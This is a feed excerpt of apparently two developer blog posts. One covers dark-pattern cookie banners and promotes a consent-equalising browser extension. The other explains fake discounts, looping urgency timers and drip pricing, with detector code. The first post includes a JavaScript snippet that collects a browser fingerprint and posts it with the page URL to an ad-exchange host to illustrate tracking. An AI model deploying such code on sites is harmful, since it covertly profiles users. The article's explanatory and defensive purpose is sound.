    &lt;span class="na"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Intl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DateTimeFormat&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;resolvedOptions&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;timeZone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;language&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;language&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;plugins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;plugins&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;getCanvasFingerprint&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// unique rendering signature&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="c1"&gt;// Packed into a bid request and dispatched to RTB exchanges&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://rtb-exchange.ad-network.com/bid&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;fingerprint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;page&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You don't know which companies received that request. The privacy policy lists "advertising partners" without naming them. By the time you finish reading the first paragraph of the article you came to read, your data has been auctioned to a network of buyers whose names you will never see.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why regulators can't fix this at scale
&lt;/h2&gt;

&lt;p&gt;The enforcement picture looks more active than it is. The CNIL in France and the ICO in the UK have both issued significant fines for non-compliant cookie banners. Google was fined €150 million by the CNIL in 2022 specifically because its "Refuse all" option required more clicks than "Accept all." Facebook received a similar ruling.&lt;/p&gt;

&lt;p&gt;These are meaningful precedents. They are not a solution.&lt;/p&gt;

&lt;p&gt;There are approximately 1.5 billion websites on the internet. Regulatory agencies do not have the staff to audit even a meaningful fraction of them. The enforcement that does happen is reactive — triggered by complaints, not proactive monitoring. A company can run a non-compliant banner for years before a complaint reaches the right desk, is investigated, and results in any action. The fine, when it comes, is a one-time cost. The data collected in the interim has already been sold.&lt;/p&gt;

&lt;p&gt;The math doesn't work in the consumer's favour. Regulatory pressure changes industry norms slowly. Banner manipulation operates continuously, right now, on every page load.&lt;/p&gt;

&lt;h2&gt;
  
  
  What browser-side equalisation actually does
&lt;/h2&gt;

&lt;p&gt;The approach that works at the speed of the problem is client-side intervention. Instead of waiting for a regulator to audit a site, a browser extension can inspect the consent banner's DOM structure the moment the page loads and apply the legal standard the site should be meeting anyway.&lt;/p&gt;

&lt;p&gt;Here's the core logic of what an equalisation extension does:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Cookie Consent Equalizer — core detection logic&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;analyseConsentBanner&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;bannerSelectors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[class*="cookie"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[class*="consent"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[id*="cookie-banner"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;[aria-label*="cookie"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;];&lt;/span&gt;

  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selector&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;bannerSelectors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;banner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;banner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;buttons&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;banner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;button, a[role="button"]&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;buttonTexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buttons&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; 
      &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hasAccept&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buttonTexts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; 
      &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;accept&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;agree&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hasReject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buttonTexts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; 
      &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;reject&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;decline&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;refuse&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// If there's an accept but no visible reject on this layer — asymmetric&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hasAccept&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;hasReject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;asymmetric&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;banner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;buttons&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;asymmetric&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;equalise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;asymmetric&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Find the accept button to mirror its visual weight&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;acceptBtn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttons&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
    &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;accept&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;acceptBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rejectBtn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;acceptBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cloneNode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;rejectBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Reject All&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;rejectBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cssText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;acceptBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cssText&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;rejectBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onclick&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;triggerRejectAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;banner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;acceptBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parentNode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertBefore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rejectBtn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;acceptBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nextSibling&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The extension doesn't override the site's consent system — it adds the option the site should have included in the first place. The "Reject All" button it injects triggers the same rejection pathway that exists deeper in the site's own consent management platform, just surfaced to where the law says it should be: the first layer, with equal visual prominence.&lt;/p&gt;

&lt;h2&gt;
  
  
  The broader pattern
&lt;/h2&gt;

&lt;p&gt;Cookie banners are one instance of a wider category the FTC calls "dark patterns" — interface design choices that steer users toward outcomes that benefit the company at the user's expense. The same asymmetric design principle appears in subscription cancellation flows, trial-to-paid conversion screens, and pre-ticked opt-in boxes for marketing email.&lt;/p&gt;

&lt;p&gt;What makes cookie consent a useful case study is that it's the most visible example, it's explicitly regulated, and the gap between what the law requires and what sites deliver is measurable and documented. &lt;a href="https://arxiv.org/abs/2001.02479" rel="noopener noreferrer"&gt;Academic research&lt;/a&gt; has quantified it. Regulators have named it. The industry has continued anyway, because the enforcement cost remains lower than the data revenue.&lt;/p&gt;

&lt;p&gt;The consumer-side response to that calculation is tooling that doesn't depend on enforcement timelines. A browser extension runs on every page, every time, regardless of whether a regulator has looked at that particular site. It applies the standard the law already requires without waiting for anyone else to notice the violation.&lt;/p&gt;

&lt;p&gt;That's not circumventing anything. It's just enforcing what the regulation already says, at the speed the problem actually operates.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cookie Consent Equalizer
&lt;/h2&gt;

&lt;p&gt;A browser extension that detects asymmetric cookie banners and surfaces a "Reject All" option at the first layer — where the law says it should be. No configuration required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For users:&lt;/strong&gt; &lt;a href="https://carlosdevlop.gumroad.com/l/cookie-consent-equalizer" rel="noopener noreferrer"&gt;Get it on Gumroad →&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For developers:&lt;/strong&gt; The full source code — DOM scanner, consent pathway detector, and equalisation logic — is available for commercial use.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://carlosdevlop.gumroad.com/l/cookie-consent-equalizer" rel="noopener noreferrer"&gt;Get the source code ($14) →&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>privacy</category>
      <category>security</category>
      <category>javascript</category>
    </item>
    <item>
      <title>The 60% Trap: Why E-Commerce Giants Are Laundering Discounts (And How to Protect Yourself)</title>
      <dc:creator>carlos lopez</dc:creator>
      <pubDate>Sat, 27 Jun 2026 17:02:04 +0000</pubDate>
      <link>https://dev.to/carlos_lopez_e0907403c1b4/the-60-trap-why-e-commerce-giants-are-laundering-discounts-and-how-to-protect-yourself-40p6</link>
      <guid>https://dev.to/carlos_lopez_e0907403c1b4/the-60-trap-why-e-commerce-giants-are-laundering-discounts-and-how-to-protect-yourself-40p6</guid>
      <description>&lt;p&gt;Last Black Friday I watched someone in my flat buy a pair of headphones because the price tag showed a big red "–42% OFF." She was genuinely excited. I checked the price history — the item had been sitting at exactly that "sale" price for the previous three months. The original price had been inflated specifically for the two weeks before the event, then crossed out with a red line at the right moment.&lt;br&gt;
She paid full retail. The store called it a discount.&lt;br&gt;
This is not an edge case. In 2023, the European Commission ran a cross-border sweep of online retailers across EU member states and found that only 40% of checked sites fully complied with basic pricing transparency rules. The other 60% were using some form of manipulative pricing practice — fake reference prices, hidden fees, hardcoded countdown timers, and algorithmic profiling that adjusts what you see based on how badly it thinks you want to buy.&lt;br&gt;
Governments can issue press releases. They can fine individual retailers. What they cannot do is monitor millions of product pages updating in real time. That's a software problem. And software problems have software solutions.&lt;br&gt;
How the fake discount actually works&lt;br&gt;
The "original price" trick is almost embarrassingly simple once you understand it. A retailer lists a product at £149.99. That price is real — for exactly eleven days. Then it drops to £89.99 and the frontend renders a strikethrough on £149.99 with a "–40%" badge. Under EU law — specifically Article 6a of Directive 2019/2161 (the Omnibus Directive) — the reference price in a promotion must be the lowest price offered in the previous 30 days. If the item was £89.99 for most of that window, the "–40%" claim is illegal.&lt;br&gt;
The FTC's Deceptive Pricing guidelines in the US take the same position: a "former price" must reflect an actual bona fide price at which the product was offered to the public for a reasonable period of time. Deliberately inflating a price to create a reference point for a fake reduction is, on paper, illegal on both sides of the Atlantic.&lt;br&gt;
On paper.&lt;br&gt;
In practice, the compliance burden falls on regulators who don't have the tooling to check individual product pages at scale. So the behaviour continues, quietly, across every major e-commerce platform.&lt;br&gt;
Algorithmic profiling: when the price follows you&lt;br&gt;
The static fake discount is the obvious trick. The subtler one is dynamic pricing based on user behaviour.&lt;br&gt;
If you visit a product page three times in the same morning, a well-instrumented e-commerce backend interprets that as high purchase intent. The price goes up — not on a separate tier, not visibly — just quietly, for you. Your session cookies, your device fingerprint, your location, and your browsing pattern feed into a model that decides what to charge.&lt;br&gt;
A landmark study from Princeton's Web Transparency Project, which crawled and analysed over 11,000 e-commerce websites, documented this pattern systematically. The researchers found dark patterns embedded across product pages, checkout flows, and subscription cancellation paths — many of them invisible to a casual user but trivially detectable with the right tooling.&lt;br&gt;
This is why clearing cookies before a purchase is not paranoia. It's a rational response to systems specifically designed to exploit your history against you.&lt;br&gt;
Drip pricing and the checkout ambush&lt;br&gt;
You've seen this one. A product lists at £29.99. You add it to cart, go through the checkout flow, and somewhere on the final screen — too late to feel like turning back — a mandatory "service fee" of £4.99 appears. Sometimes it's "fulfilment." Sometimes it's "platform fee." It was never optional and it was never disclosed upfront.&lt;br&gt;
This technique has a name: drip pricing. It works because checkout friction is asymmetric. By the time you see the real total, you've already mentally committed to the purchase. Abandoning the cart feels like a loss, even though you haven't spent anything yet. That psychological asymmetry is not an accident — it's the design.&lt;br&gt;
The same principle applies to urgency timers:&lt;br&gt;
javascript// What you see on the page&lt;br&gt;
"Deal ends in: 00:14:32"&lt;/p&gt;

&lt;p&gt;// What's actually in the JavaScript&lt;br&gt;
setInterval(() =&amp;gt; {&lt;br&gt;
  if (timer &amp;lt;= 0) timer = 900; // resets to 15 minutes&lt;br&gt;
  timer--;&lt;br&gt;
  updateDisplay(timer);&lt;br&gt;
}, 1000);&lt;br&gt;
The timer is hardcoded to loop. There is no deal ending. The inventory counter saying "Only 3 left!" is equally likely to be a static string in the HTML with no connection to actual stock levels. If you open DevTools and inspect the element, you'll frequently find no API call, no dynamic data — just a number someone typed into the template.&lt;br&gt;
Reading the fake urgency in the DOM&lt;br&gt;
Here's what a real-time dark pattern detector does when it hits a product page. It looks for specific DOM patterns that consistently indicate manufactured urgency rather than genuine scarcity:&lt;br&gt;
javascriptconst URGENCY_PATTERNS = [&lt;br&gt;
  /only\s+\d+\s+left/i,&lt;br&gt;
  /\d+\s+people\s+viewing/i,&lt;br&gt;
  /deal\s+ends\s+in/i,&lt;br&gt;
  /limited\s+time\s+offer/i,&lt;br&gt;
  /selling\s+fast/i&lt;br&gt;
];&lt;/p&gt;

&lt;p&gt;function scanForFakeUrgency(doc) {&lt;br&gt;
  const bodyText = doc.body.innerText;&lt;br&gt;
  return URGENCY_PATTERNS.some(pattern =&amp;gt; pattern.test(bodyText));&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;function detectLoopingTimer(doc) {&lt;br&gt;
  const scripts = Array.from(doc.querySelectorAll('script'));&lt;br&gt;
  return scripts.some(s =&amp;gt;&lt;br&gt;
    s.textContent.includes('setInterval') &amp;amp;&amp;amp;&lt;br&gt;
    s.textContent.match(/timer\s*=\s*\d+/g)?.length &amp;gt; 1&lt;br&gt;
  );&lt;br&gt;
}&lt;br&gt;
This is roughly how the Dark Patterns Detector extension works at the DOM level. It's not ML, it's not an API call — it's pattern matching against known manipulation signatures. Fast, cheap, and surprisingly accurate because the retailers all use the same playbook.&lt;br&gt;
The price history problem&lt;br&gt;
Dynamic pricing is harder to catch in real time because you need historical data. A single page visit tells you the current price. It tells you nothing about whether that price is a genuine reduction or an inflated reference point.&lt;br&gt;
The solution is to track prices over time and inject that history directly into the product page when you visit it. Here's a simplified version of the tracking logic:&lt;br&gt;
javascript// content.js — runs on product pages&lt;br&gt;
function extractPrice() {&lt;br&gt;
  const selectors = [&lt;br&gt;
    '[itemprop="price"]',&lt;br&gt;
    '.a-price-whole',       // Amazon&lt;br&gt;
    '.price-current',       // Generic&lt;br&gt;
    'meta[property="product:price:amount"]'&lt;br&gt;
  ];&lt;/p&gt;

&lt;p&gt;for (const sel of selectors) {&lt;br&gt;
    const el = document.querySelector(sel);&lt;br&gt;
    if (el) {&lt;br&gt;
      const raw = el.getAttribute('content') || el.innerText;&lt;br&gt;
      return parseFloat(raw.replace(/[^0-9.]/g, ''));&lt;br&gt;
    }&lt;br&gt;
  }&lt;br&gt;
  return null;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;async function recordPrice(url, price) {&lt;br&gt;
  const key = btoa(url).slice(0, 40);&lt;br&gt;
  const existing = await chrome.storage.local.get(key);&lt;br&gt;
  const history = existing[key] || [];&lt;br&gt;
  history.push({ price, ts: Date.now() });&lt;br&gt;
  const cutoff = Date.now() - 90 * 24 * 60 * 60 * 1000;&lt;br&gt;
  await chrome.storage.local.set({&lt;br&gt;
    [key]: history.filter(e =&amp;gt; e.ts &amp;gt; cutoff)&lt;br&gt;
  });&lt;br&gt;
}&lt;br&gt;
